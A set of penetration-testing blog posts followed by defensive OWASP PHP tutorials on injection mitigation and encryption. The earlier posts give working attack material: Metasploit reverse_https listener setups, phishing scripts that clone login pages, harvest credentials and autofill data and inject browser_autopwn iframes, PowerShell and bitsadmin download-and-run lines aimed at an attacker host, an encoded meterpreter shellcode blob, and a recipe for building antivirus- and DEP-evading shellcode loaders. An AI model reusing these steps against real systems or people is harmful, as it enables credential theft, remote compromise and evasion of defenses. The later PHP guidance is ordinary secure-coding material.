    The nice thing about this technique is that the key and encryption algorithm are fairly easy to change out and should result in successfully carrying out the cat and mouse AV game.

    When running the payload, I suggest using a likely allowed outbound port such as 443, and then using a payload that corresponds to HTTPS traffic (windows/meterpreter/reverse_https). I also highly recommend configuring your listener to migrate to another process as soon as possible because if the executable is closed then your meterpreter session goes away. Example:

      use multi/handler
      set PAYLOAD windows/meterpreter/reverse_https
      set LHOST 1.1.1.1
      set LPORT 443
      set AutoRunScript post/windows/manage/smart_migrate
      run
    

     
    When using various exploits, many times you have the option to upload your own meterpreter executable. This is found via the “show advanced” command. You can use your recently AV/DEP proof executable via:

      Set EXE::Custom /path/to/executable/file.exe
    

     
    Happy Hunting!

  • GoPhishing Update – Autocomplete and More

    I’ve updated the gophish script discussed here and here. This update includes the following features and fixes:

    • Fixed an issue where redirections would occur immediately upon access
    • Added option to pass in your own log file as an argument
    • Smart(er) redirects
    • Autocomplete Support

    The original script did not expect the link being accessed by the victim to contain parameters or values. If the link accessed by the victim obtained parameters or values it assumed that a form had been submitted and would then attempt redirection. For example, if you started up the script with:

      python gophish.py --phish http://www.victim.com/path/to/form.php \
        --replace http://1.1.1.1
    

     
    If the victim made a request to http://1.1.1.1/path/to/form.php?param1=value1&param2=value2, then the script assumed the victim had already submitted a form, would write the parameters and values to the log file, and would then redirect to the victim form. Now, the script checks the referer flag. If the referer is not itself, then it serves up the phishing page, if it is itself, then it logs and redirects.

    An argument option has been added to gophish to allow the user to select their own logfile. You can pass –logfile <filename> to the script and it will log to whatever file name you have provided.

    I have also added in smarter redirect support. The previous version redirected to the victim site passing in whatever was submitted in a form as a GET request. This update checks the method and works differently depending on whether the submitted form used GET or POST. If the method for the form was GET, then the script works as it did in the past. If the method for the form was POST, then the script creates an HTML page that includes a form with all of the same parameters and values and set to hidden as well as JavaScript at the top that auto-submits the form using POST. I got this idea from the CSRF Tester tool from OWASP that creates form based CSRF test cases in the same manner.

    The final update is a new feature with a new argument. The new feature is based on a post I came across here. Basically, a malicious individual can create a form that populates invisible form fields that have been saved by the victim’s browser due to autocomplete. The autofill option is called with –autofill <filename>. The filename should contain the HTML input fields, styled to make them invisible, using common autocomplete field names. I created a sample that has been uploaded here. The following resources were used to create this sample list:

    Example using the new features:

      python gophish.py --phish http://www.victim.com/path/to/form.php \
        --replace http://1.1.1.1 --logfile /var/log/phish.log \
        --autofill autofill.txt
    

     
    You can grab the updated script here.

  • Adventures in Penetration Testing: Let’s Go Phishing – Update

    Please see the original article for more information about this phishing script. This is just a minor update to some functionality that I added over the weekend. I haven’t hooked BeEF in yet, but I have added Metasploit, which can be nice.

    The updated version, which can be found here, can be tied into Metasploit’s browser_autopwn module. For more information about the module, see a good little write up here.

    I’ve added an option that will add an invisible iframe to the bottom of whatever page you are phishing that points to whatever IP or FQDN on which you want to run the browser_autopwn module.

    Example:

      python gophish.py --phish https://<victimsite>/path/to/form/page 
        --replace https://<phishinghost> --port 443 --ssl \ 
        --sslcert ssl.crt --sslkey ssl.key --sslchain chain.crt \
        --autopwn http://<MetasploitAutopwnHost>/<autopwnuri>
    

     
    The setup on the Metasploit host would be:

      use auxiliary/server/browser_autopwn
      set SRVHOST <AttackerIP>
      set SRVPORT 80
      set URIPATH /
      set LPORT_WIN32 443
      run
    

     
    This will start up the listener on port 80, running on whatever IP you set as <AttackerIP>, with a URI of ‘/’, and any successful Windows exploits will call back to your <AttackerIP> on port 443 to establish a meterpreter session.

  • Adventures in Penetration Testing: When DEP and AV Muck it Up

    A while back I was performing a network penetration test and came across a remote code execution vulnerability in one of the web applications hosted at the site. It got me excited because I just knew it was going to result in some level of access to the host. It looked like a pretty simple vulnerability to exploit and Metasploit even had modules for the vulnerability. This was going to be too easy. Then I attempted to run the exploit and found out that it wasn’t going to be as simple as click, click, click, pwn as I thought, so I decided to blog about the approach.

    One of the nice things about this vulnerability is that it is pretty easy to identify and validate; exploitation results in the first line of text output by whatever Windows executable you pass to it being written to the browser. For example, running `ipconfig.exe` results in this being output:

      Windows IP Configuration
    

     
    Or running `whoami.exe` results in the name of the host and account running the application being output to screen:

      <victimhost>\<victimaccount>
    

     
    I ran a few tests and knew the host was vulnerable, but when I ran the Metasploit exploit all I got was:

      [+] Exploitation was successful
    

     
    A meterpreter session was never setup. The next step was making sure that the host could connect outbound to my host. The simplest tool to use is telnet, however, this was a Windows 2008 server and telnet wasn’t installed. I got this:

      'telnet.exe' is not recognized as an internal or external command,
    

     
    I had to think for a moment what I could use on a plain Windows 2008 server to test outbound connectivity. Then I realized that `mstsc.exe` can be run from the command line and takes both an IP and a port number as options. I tried a few and struck gold with the following predictably allowed outbound ports:

      mstsc.exe /v:<AttackingIP>:80
      mstsc.exe /v:<AttackingIP>:443
    

     
    I was running tcpdump on the attacking system to confirm the connections coming back. So then I went back to Metasploit and used 443 as my LPORT for the exploit to connect back to, selecting windows/meterpreter/reverse_https, so as to look like regular HTTPS traffic from the host:

      use exploit/windows/http/<remote_code_execution_vuln_I_used>
      set RHOST <VictimHost>
      set RPORT 80
      set TARGETURI /path/to/target
      set PAYLOAD windows/meterpreter/reverse_https
      set LHOST <AttackingIP>
      set LPORT 443
      run
    

     
    Still no dice. I needed a way to make sure the payload was getting uploaded and executed and then troubleshoot from there. I spent a little time researching ways to download a file from the command line. First, I wanted to upload a benign executable to make sure the file upload worked. I had an ffmpeg.exe that I figured would make it past any potential AV and give me something to test so I put it in the root directory of a web server I loaded up for the attack. I looked at bitsadmin.exe first, and for what it’s worth, the following worked on my own host but failed on the victim host (I’m adding this to the post as it might work in other scenarios):

      bitsadmin.exe /transfer evil /download /priority normal 
        http://<AttackingIP>/ffmpeg.exe C:\Users\Public\Documents\ffmpeg.exe
    

     
    I attempted uploading the exe to C:\Users\Public\Documents because I figured most, if not all accounts, will have access to this directory. Then I manually exploited the remote execution vulnerability to run C:\Users\Public\Documents\ffmpeg.exe and instead of getting the first line output by the command:

      ffmpeg version N-41074 Copyright (c) 2000-2012 the FFmpeg developers
    

     
    I got:

      'ffmpeg.exe' is not recognized as an internal or external command,
    

     
    Back to the drawing board on how to download a file on a Windows Server from the command line. I couldn’t think of any commands on Windows that are native that would work and searching came up with mostly nada (other than bitsadmin). I started thinking about vbscript and other scripting languages and then settled on researching how to do this with Powershell (if it was possible) and found something that worked:

      powershell.exe (new-object System.Net.WebClient).DownloadFile(
        'http://<AttackingIP>/ffmpeg.exe', 'C:\Users\Public\Documents\ffmpeg.exe')
    

     
    So I tested out uploading the file to the vulnerable host and success! So at this point, I know the host is vulnerable and I know I can upload arbitrary files to it. Time to make an msfpayload executable. I ran the following commands to create an encoded meterpreter executable:

      msfpayload windows/meterpreter/reverse_https LHOST=<AttackingIP> LPORT=443 R | 
        msfencode -e x86/shikata_ga_nai -c 10 -t raw| 
        msfencode -e x86/alpha_mixed –c 5 -t raw | 
        msfencode -e x86/shikata_ga_nai -c 15 -t raw | 
        msfencode -e x86/alpha_upper -c 10 –t raw | 
        msfencode -e x86/shikata_ga_nai -c 5 -t exe -o who.exe 
    

     
    I then I went to execute the payload, running a listener on the attacking host like so:

      use multi/handler
      set PAYLOAD windows/meterpreter/reverse_https
      set LHOST <AttackingIP>
      set LPORT 443
      run
    

     
    Then I manually exploited the remote execution vulnerability to run C:\Users\Public\Documents\who.exe (note that this is the output name of the file I created above) and nothing happened. So I thought, maybe AV is picking up the file. I ran the executable through VirusTotal and sure enough it was picked up by all sorts of AV apps. For kicks, I tried using netcat as well, same result. I tried several different iterations of msfpayload with msfencode to no avail.

    I needed a better way to hide the file. I tried packing the executable with `upx` but that didn’t work either (any suggestions on better packers?). I did some research and found this Metasploit evasion script: https://github.com/nccgroup/metasploitavevasion. This looked promising so I downloaded and ran it. Yay, quite a few AV vendors missed the meterpreter executable it created. I uploaded the file, was still running my meterpreter listener, and ran the executable. Still nothing, however; I DIDN’T get back a:

      'who.exe' is not recognized as an internal or external command,
    

     
    Instead, I got absolutely nothing and the browser eventually timed out. This meant the file was uploaded and wasn’t picked up by AV, so something else was happening. I ran the executable on my Windows 7 host and it worked like a champ. I then uploaded to a Windows 2012 host and it gave me an error, which upon further research was a Data Execution Prevention (DEP) error. So I was a little closer but still being tripped up by security technology. Boo!

    From what I understand, and found in research, the Metasploit windows/meterpreter/reverse_ord_tcp and windows/meterpreter/reverse_nonx_tcp were created to bypass DEP (maybe I misunderstood?). With that in mind, I modified the avoid.sh script found in the link above to use these payloads but still received the DEP error. Time to research DEP bypasses.

    I found a few tools that I couldn’t get to work correctly, so I won’t list them here, but then I came across this blog: http://carnal0wnage.attackresearch.com/2011/07/process-injection-outside-of-metasploit.html. The shellcodeexec program mentioned in the post and found here: https://github.com/inquisb/shellcodeexec sounded promising. I downloaded the executable, put it on my Windows 2012 server, then ran the following (as outlined in the carnal0wnage blogpost) to create the meterpreter payload:

      msfpayload windows/meterpreter/reverse_https LHOST=<AttackingIP> LPORT=443 
        EXITFUNC=thread R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX 
    

     
    Which results in output similar to:
    PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI9lzHlIuPwpePCPOyKUtqjrRDNkCbfPLKQBDLlKcb
    b4NkPrfHdO87qZVFfQyofQIPllelCQsLURtlgPJaxOFm5QYWIrXpv23gNkRr6pNkCrGLC1xPLKW0ahK5IPD40J
    EQXPf0LKbhFxNkRxGPwqzsZCEl1Ynk7DnkWqxVTqyoEakpnLiQHOdMC19WDxypD5L4c3cM9hekama4sEm
    2PXlK0XvDGq9C0fNkTLrklK1HGl7qICnkuTLKWqZpMYbdQ4DdskSkCQSiRz2qyoIp0XQO1JNkR2Hknf3mE82
    NrET47pqxD7SY2NRI3d1xrlSG5vEW9oxUuayoPWV7sg67azuPbtsX6ZQF3ImwIoJujKco1KdqHIPQRqRJwsrq
    CacXoKfaePuPQCPPRHSgniMO8F9okeJKW8QI6QIBv2Qxgp7Bi0Nd1BCb62SaqBbpQxJKruVN5kyohUMYjfB
    JtP3kQxmPUc30Gpk9m03ZS4V02J7oV62H1e0FMNk6yoiE6QYo67cgSgsgCfbHTmWvtXcKKOXUlEkpt56zRk
    rTB0JKhUxksyM8x3IoioyovOrZ0kVPaW7peP1xhpnUy2cf9okebJcpaxUP6pePS0Ph

    Then, on the test host, I executed:

      shellcodeexec.exe <output payload>
    

     
    Success! It bypassed DEP. I renamed shellcodeexec.exe to show.exe, uploaded to the victim host, and then exploited the vulnerability passing the output payload as a command line option and again NOTHING happened. I figured shellcodeexec was getting picked up by AV, and sure enough that was it as VirusTotal showed a majority of vendors identified it at this point.

    After taking a few moments away to work on some other things, I got the idea to try to put together what I learned from the avoid.sh script and combine it with shellcodeexec. In looking through the avoid.sh script, I found that it creates a ridiculously long random string (like hundreds of thousands, maybe millions, of characters) that it shoves in to a C ‘char’ variable named padding at the beginning of the executable it compiles. So the idea was to combine this functionality and include the variable in the code for shellcodeexec, and then compile my own version of shellcodeexec.

    The first step was to comment out the lines in avoid.sh that create the .c file and then run the script. This produces a file named build.c with the `unsigned char padding[]` variable discussed above. I then copied this line into shellcodeexec.c, right above:

      int main(int argc, char *argv[])
    

     
    I loaded the code (the Win32 version of the code) into Visual Studio C++ Express (free here) and attempted to compile. I found that VS C++ has a limit of 16,380 characters for a string, chopped the string down to this size, and compiled successfully.

    Now was the true test. I first tested running the executable with the generated payload on my system and it worked. Next, I ran the executable on my Windows 2012 server and at first it failed, complaining that msvcr100d.dll could not be found. Apparently, that is included with VS C++ Express but not standard on Windows server systems. I copied that DLL into the directory in which shellcodeexec was placed, ran shellcodeexec and passed it the payload and it worked, bypassing DEP. Finally, I uploaded the executable to VirusTotal and it was not caught by a single AV engine (0 of 48 detected it). Awesome! Now I was getting really excited.

    I then used the Powershell code above within the remote code execution vulnerability to force the machine to download my new shellcodeexec executable, which I renamed to something innocuous, to C:\Users\Public\Documents. The msvcr100d.dll was uploaded directly thereafter with the same mechanism. With my Metasploit listener up and running, I used the vulnerability to call my uploaded shellcodeexec binary, passing it my raw generated payload and BINGO! I had a meterpreter shell.

    Anyways, this was a fun example because I had to do a little work for it and I thought the information might prove useful to others. I’m not going to provide my custom shellcodeexec binary because I don’t want it to get added to all the AV engines and detected, but with the steps provided above you should be able to create your own. This is nice because it bypasses both AV and DEP in one shot.

    Enjoy! I hope this was helpful to somebody.

  • Adventures in Penetration Testing: Let’s Go Phishing

    Phishing and social engineering engagements are often unique to each customer, however; I often find that a customer just wants one of their web pages, like their web email sign on page, copied. This link to this phishing site is then emailed out to the victims to determine their susceptibility in clicking on the link as well as entering credentials.

    The standard process is to use httrack to download a copy of the page, then modify the FORM tag to POST/GET to our phishing site, save whatever values are submitted, and redirect to the real page. This is a bit of a pain due to the process being fairly manual in nature. I know you can use something like the Social Engineering Toolkit (SET), but that can be a pain to setup and is often a little heavy duty for what my company needs.

    I recently began learning Python, which I love so far by the way, and thought that this might be a good area in which I could develop something useful. So I wrote a phishing script that will take the URL you point it at and replicate it, replacing the FORM ACTION with your host, logging all entered data, and forwarding the victim on to their site (along with what they submitted).

    The script does this by downloading the base HTML for the page and ensuring A, IMG, LINK, and SCRIPT SRC tags point back to the original site, while modifying the FORM ACTION tag to point back at the malicious site. This is simple in that very little is downloaded and it leaves little room for something to get messed up in the visual presentation.
    The script relies on Mechanize, BeautifulSoup4, and CherryPy. These can be installed with:

      easy_install mechanize beautifulsoup4 cherrypy
    

     
    Some features that I would like to add include:

    • Integrate with the Browser Exploitation Framework (BeEF)
    • Add the ability to step through a few clicks, rather than a simple one page reflect back and then redirect

    This is the first script I have written in Python, so it is probably pretty ugly to anyone with experience in the language. You can download here and enjoy with:

    usage: phishme.py [-h] --phish PHISH --replace REPLACE [--port PORT] [--ssl]
                   [--sslchain SSLCHAIN] [--sslcert SSLCERT] [--sslkey SSLKEY]
    
    Automatically setup a phishing site.
    
    optional arguments:
      -h, --help           show this help message and exit
      --phish PHISH        the full URL to phish back to the victim (must include
                           http(s):// (default: None)
      --replace REPLACE    the IP/FQDN to replace FORM actions with (must include
                           http(s):// (default: None)
      --port PORT          the port to start the listening web server on (default:
                           80)
      --ssl                enable SSL on the running port (default: 0)
      --sslchain SSLCHAIN  certificate chain file to use when ssl option is
                           enabled (default: chain.crt)
      --sslcert SSLCERT    certificate file to use to use when ssl option is
                           enabled (default: ssl.crt)
      --sslkey SSLKEY      private key file to use to use when ssl option is
                           enabled (default: ssl.key)
    
    Example: phishme.py --phish https://www.victim.com/login.php --replace
    https://www.evil.com --port 443 --ssl --sslchain chain.crt --sslcert ssl.crt
    --sslkey ssl.key
    

     

    Comment back for some optional features that you think would be useful for this lightweight script.

  • OWASP A1 – Injection

    Finally, we reach a more glamorous class of vulnerability. Injection attacks can take many forms; SQL injection, XPath/XML/SOAP injection, LDAP injection, and Command injection are just a few types. This post will cover some PHP countermeasures to the more common forms of injection, starting with SQL injection:

    SQL Injection Mitigations:

    The first step in preventing SQL injections is to perform input validation on all user supplied data. Review our coverage of input validation in the OWASP A2 – Cross-Site Scripting (XSS) series here, here, and here.

    The next step is to take advantage of PHP’s support for prepared statements, also known as parameterized queries. Prepared statements utilize the database driver to pass user supplied data as a parameter in a query. This causes the database to interpret the data as a single value for a particular portion of the query. The database will interpret the parameter as data, even if SQL commands were input as part of the data, instead of interpreting the data as SQL statements.

    Prepared statements, when used properly, prevent known forms of SQL injection attacks. Here is an example of a prepared statement with PHP:

      // This example makes the assumption that the 
      // database handle ($dbh) has already been setup.
      // It also assumes that input validation has already
      // been performed and the three values that were 
      // input for the query were assigned to $param1,
      // $param2, and $param3.
      $qry = $dbh->prepare("SELECT * FROM customers 
          WHERE User_Name = ? AND User_Pass = ? AND User_ID = ?");
      $qry->bindValue(1, $param1, PDO::PARAM_STR);
      $qry->bindValue(2, $param2, PDO::PARAM_STR);
      $qry->bindValue(3, $param3, PDO::PARAM_INT);
      $qry->execute();
    

     
    In the above example, we are running a SELECT statement against the database with three parameters. The next three lines bind user supplied data to the three parameters and the final statement executes the query. The question marks are placeholders for the user supplied data. They are referenced in order of appearance, so the “1” value in the first bindValue statement binds $param1 to the User_Name question mark placeholder.

    We have taken this a step further and explicitly defined the data type for added security. The bindValue statements set the data type with the third value, PDO::PARAM_STR and PDO::PARAM_INT. A list of the different data types that can be set can be found here. Where possible, it is always best to validate the input data, the input data type, and the input length/size for appropriate values.

    There is also a WRONG WAY to use prepared statements. It is fairly common to see the following (THIS IS AN INVALID WAY OF USING PREPARED STATEMENTS):

      $qry = $dbh->prepare("SELECT * FROM customers 
          WHERE User_Name = $param1 AND User_Pass = $param2 AND User_ID = $param3");
    

     
    The above example concatenates user supplied data in with the query string. This is just as vulnerable as running a regular query. This example does not bind user supplied data to a query parameter. DO NOT DO THIS.

    Prepared statements also have the benefit of improving database query performance. Running multiple queries with varying parameters without using prepared statements causes the database to analyze, compile, and optimize each query. Prepared statements only need to be analyzed, compiled, and optimized once.

    LDAP Injection Mitigations:

    Unfortunately, the PHP drivers that support LDAP do not have prepared statement/parameterized query support. This means we must rely on input validation for effective injection mitigation. Whitelist validation is always the preferred method, but sometimes a blacklist is the only approach for a given application.

    The following characters should be filtered out of user supplied data passed to an LDAP query:

    • &
    • |
    • =
    • *
    • (
    • )
    • ;
    • !
    • <
    • >
    • ~
    • ,

    If using a whitelist approach, make sure these characters are omitted from the acceptable characters filter. If using a blacklist approach, make sure these characters are included in the denied characters filter.

    SOAP/XML/XPath Injection Mitigations:

    As with LDAP, the PHP SOAP/XML/XPath drivers do not have prepared statement/parameterized query support. This means we must rely on input validation and encoding for effective injection mitigation. Whitelist validation is always the preferred method, but sometimes a blacklist is the only approach for a given application.

    The following characters should be filtered out of user supplied data passed to a SOAP/XML/XPath query:

    • <
    • >
    • /
    • [
    • ]
    • !
    • @
    • =
    • (
    • )
    • *
    • :
    • *

    If using a whitelist approach, make sure these characters are omitted from the acceptable characters filter. If using a blacklist approach, make sure these characters are included in the denied characters filter.

    In addition, encode user supplied data in case there is a special character that you have missed in one of your filter lists. This can be performed by forcing the data type (found in our ASVS 5.4 solution here) and then using a PHP function to encode the data (found in examples here).

    Some example code as a reminder:

      // Encode the data.  Encode both single and double
      // quote characters, use UTF-8 as the character set,
      // and do not double encode ("false" parameter).
      function outputEncode($data) {
        $encodedData = htmlentities($data, ENT_QUOTES, "UTF-8", false);
        return $encodedData;
      }
    
      // Convert the data to the UTF-8 character set and
      // silently drop any characters that can't be converted.
      // Pass the value to the output encoder above.
      function utfEncode($data) {
        $utfEncoded = iconv("UTF-8", "UTF-8//IGNORE", (string)$data);
        return outputEncode($utfEncoded);
      }
    
      // Take a POST'ed parameter and encode it
      $uservalue = utfEncode($_POST['param1']);
    

     

    These two steps should to a long way towards preventing SOAP/XML/XPath related injection attacks.

    Command Injection

    The best way to avoid command injection is to not pass user supplied data to a function that calls an operating system level command. If users must be able to run commands through PHP, then I suggest indirectly mapping specific commands and their parameters to values that the user can select. We covered indirect object mapping here. If this is not an option, split the request into two sections; the command to be run and the user data to be supplied to it. Create a whitelist to deny requests to commands that aren’t on the approved list. Create a blacklist to filter out the following characters at a minimum:

    • |
    • &
    • `
    • !
    • *
    • ;

    If possible, utilize a whitelist that limits input data to the commonly used characters for command line executable parameters:

    • a-zA-Z0-9
    • =
    • /
    • .

    That wraps up our post on PHP injection mitigations. We are down to one final OWASP TOP 10 issue, A8 – Failure to Restrict URL Access. See you next time.

  • OWASP A7 – Insecure Cryptographic Storage

    This week we will provide some examples for encrypting data with PHP. Data encryption is necessary to protect sensitive information such as passwords, credit card numbers, medical information, etc. PHP provides some easy to use functions to encrypt data so that it can be stored securely.

    There are two common but different scenarios for storing sensitive data in an unreadable and protected state; encrypted using a symmetric or asymmetric algorithm or hashed using a hash function. Credit card numbers provide a typical scenario for data encryption because the numbers might later need to be decrypted and used in future transactions. Passwords or answers to security questions provide a typical scenario for data hashing. A hash function is one way and cannot be reversed unless there are vulnerabilities (collisions) in the algorithm. A password only needs to be validated against what a user has supplied to confirm authentication, it does not usually need to be “decrypted” or “reversed”.

    Now that we have provided a very high-level and broad overview of the types and reasons for encrypting data, let’s begin identifying the requirements and solutions using PHP…

    ASVS 7.1 Requirement:

    Verify that all cryptographic functions used to protect secrets from the application user are implemented server side.

    ASVS 7.1 Solution:

    Never implement encryption routines on the client side (JavaScript, etc). They can easily be reviewed and attacked or simply bypassed. Implement all encryption, decryption, and hashing functionality within your server side PHP code. In addition, do not store any sensitive information (passwords, hashes, or other credentials) on the client side (using mechanisms such as cookies, HTML5 storage, etc).

    ASVS 7.2 Requirement:

    Verify that all cryptographic modules fail securely.

    ASVS 7.2 Solution:

    Encryption should fail closed so that data does not get stored in an unprotected state. Implement functionality within your applications to ensure that an error is generated when the encryption/decryption/hashing function fails and do not store/transmit the data (stop processing of the data).

    ASVS 7.3 Requirement:

    Verify that access to any master secret(s) is protected from unauthorized access (A master secret is an application credential stored as plaintext on disk that is used to protect access to security configuration information).

    ASVS 7.3 Solution:

    The data is only as secure as the secret, key, passcode, passphrase, password, etc used to encrypt it. Store this value in as few places as possible and provide access to a minimum number of people. Ideally, the value should only be stored in an encrypted backup and on the server on which the application resides.

    Protect the value on the application server by storing it in a file with limited permissions. Only the Apache user and group should be provided with access to this file and the access should be limited to read only. Access and changes to this file should be monitored.

    The secret/key/passcode/passphrase/password/etc should be rotated on at least an annual basis. This can be a full rotation where existing data is decrypted with the old value and then encrypted with the new one or partial where only new data is encrypted with the new value.

    ASVS 7.4 Requirement:

    Verify that password hashes are salted when they are created.

    ASVS 7.4 Solution:

    We have already covered hashes in previous posts. Here we discussed hashing passwords using a salted value to protect against rainbow tables and other attacks. The code for reference:

      // Create the salt.  First generate the size, then create the salt 
      // and encode it
      $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
      $iv = base64_encode(mcrypt_create_iv($iv_size, MCRYPT_DEV_URANDOM));  
    
      // Now we hash the password with Blowfish, salted with the IV created
      // above, using a work factor of 12: 
      $user_pass = base64_encode(crypt($_POST['user_pass'], "$2y$12$" .  $iv));
    

     

    ASVS 7.5 Requirement:

    Verify that cryptographic module failures are logged.

    ASVS 7.5 Solution:

    Implement logic within the application such that errors are caught and logged when encryption algorithms or hash functions are used. These logs should be reviewed on a regular basis.

    ASVS 7.6 Requirement:

    Verify that all random numbers, random file names, random GUIDs, and random strings are generated using the cryptographic module’s approved random number generator when these random values are intended to be unguessable by an attacker.

    ASVS 7.6 Solution:

    Many algorithms and protection mechanisms have been broken due to the fact that they were relying on a pseudo random number generator that could be predicted with enough data. PHP provides the openssl_random_pseudo_bytes random number generator. The code for assigning a random value to a variable is simple:

      $random = openssl_random_pseudo_bytes();
    

     
    A length can be passed to the function as well to generate a string of random bytes with the number of bytes determined by this length parameter.

    ASVS 7.7 Requirement:

    Verify that cryptographic modules used by the application have been validated against FIPS 140-2 or an equivalent standard. (See http://csrc.nist.gov/groups/STM/cmvp/validation.html).

    ASVS 7.7 Solution:

    The mcrypt functionality within PHP can be used on Linux, Unix, and Windows based systems. This set of functions supports the AES algorithm and SHA functions. AES is a FIPS 140-2 compliant algorithm and SHA-1 or greater functions are compliant secure hash standards. Use AES for encryption and SHA-1 or greater for hashing and you will be FIPS 140-2 compliant (at least for now).

    ASVS 7.8 Requirement:

    Verify that cryptographic modules operate in their approved mode according to their published security policies (See http://csrc.nist.gov/groups/STM/cmvp/validation.html).

    ASVS 7.8 Solution:

    I don’t believe that the application developer has much of a choice here when using PHP. The advice here would be to use one of the FIPS 140-2 algorithms, with the correct size (128/192/256 bit, etc), correct mode (CBC is suggested as it is commonly supported, used, and more secure than some other methods. See more here), and strong key/secret.

    I am going to skip 7.9 as it is policy related and could vary depending upon the application, data to be protected, and company protecting the data.

    ASVS 7.10 Requirement:

    Verify that all code supporting or using a cryptographic module is not affected by any malicious code.

    ASVS 7.10 Solution:

    Scan your code for viruses, or any malicious backdoors. Perform manual and automated code reviews.

    And now for some code

    The mcrypt_encrypt and mcrypt_decrypt functions can be used to encrypt and decrypt data respectively and the mcrypt_get_iv_size and mcrypt_create_iv functions can be used to generate an Intialization Vector (IV) to be used by the encryption/decryption functions.

    The mcrypt_get_iv_size requires two variables; the cipher in use and the mode. The mcrypt_create_iv function also requires two variables; the IV size (obtained with mcrypt_get_iv_size) and the random source. Source to create the IV:

      // Get the IV size for AES 128 using the CBC mode and store it in
      // a variable:
      $ivsize = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
    
      // Create the IV from the IV size obtained before and store it in 
      // a variable.  Use the MCRYPT_RAND cross-platform source for 
      // randomness:
      $iv = mcrypt_create_iv($ivsize, MCRYPT_RAND);
    

     
    The mcrypt_encrypt and mcrypt_decrypt functions both take five variables; cipher for encryption, key/secret used to encrypt the data, data to be encrypted, mode of encryption, and IV. Source to encrypt data:

      // Read the key file into a variable
      $key = file_get_contents('/etc/keys/webapp.key');
    
      // Unencrypted data to protect
      $plaintext = "asfadsfadsfadsfa";
    
      // Encrypt the data using the AES-128 algorithm, 
      // the key above, the CBC mode, and the IV 
      // generated earlier: 
      $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $plaintext, MCRYPT_MODE_CBC, $iv);
    

     
    Code to decrypt data:

      // Read the key file into a variable
      $key = file_get_contents('/etc/keys/webapp.key');
    
      // Encrypted data to decrypt
      $ciphertext = "ohafosih9fh29/'09j0";
    
      // Decrypt the data using the AES-128 algorithm,
      // the key above, the CBC mode, and the IV
      // generated earlier:
      $plaintext = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $ciphertext, MCRYPT_MODE_CBC, $iv);
    

     
    When storing encrypted data and IV’s, it is sometimes best to encode the data after encryption. Some systems don’t handle processing or storage of encrypted data well. Encoding the encrypted data solves this problem. Change the encryption code to the following to encode the data:

      $ciphertext = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $plaintext, MCRYPT_MODE_CBC, $iv));
    

     
    Change the above decryption code to the following:

      // This example assumes that the data and IV were both
      // retrieved as encoded values
      $plaintext = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, base64_decode($ciphertext), MCRYPT_MODE_CBC, base64_decode($iv));
    

     

    That should just about do it. The above examples should get you on the way towards protecting sensitive data within your applications and data stores.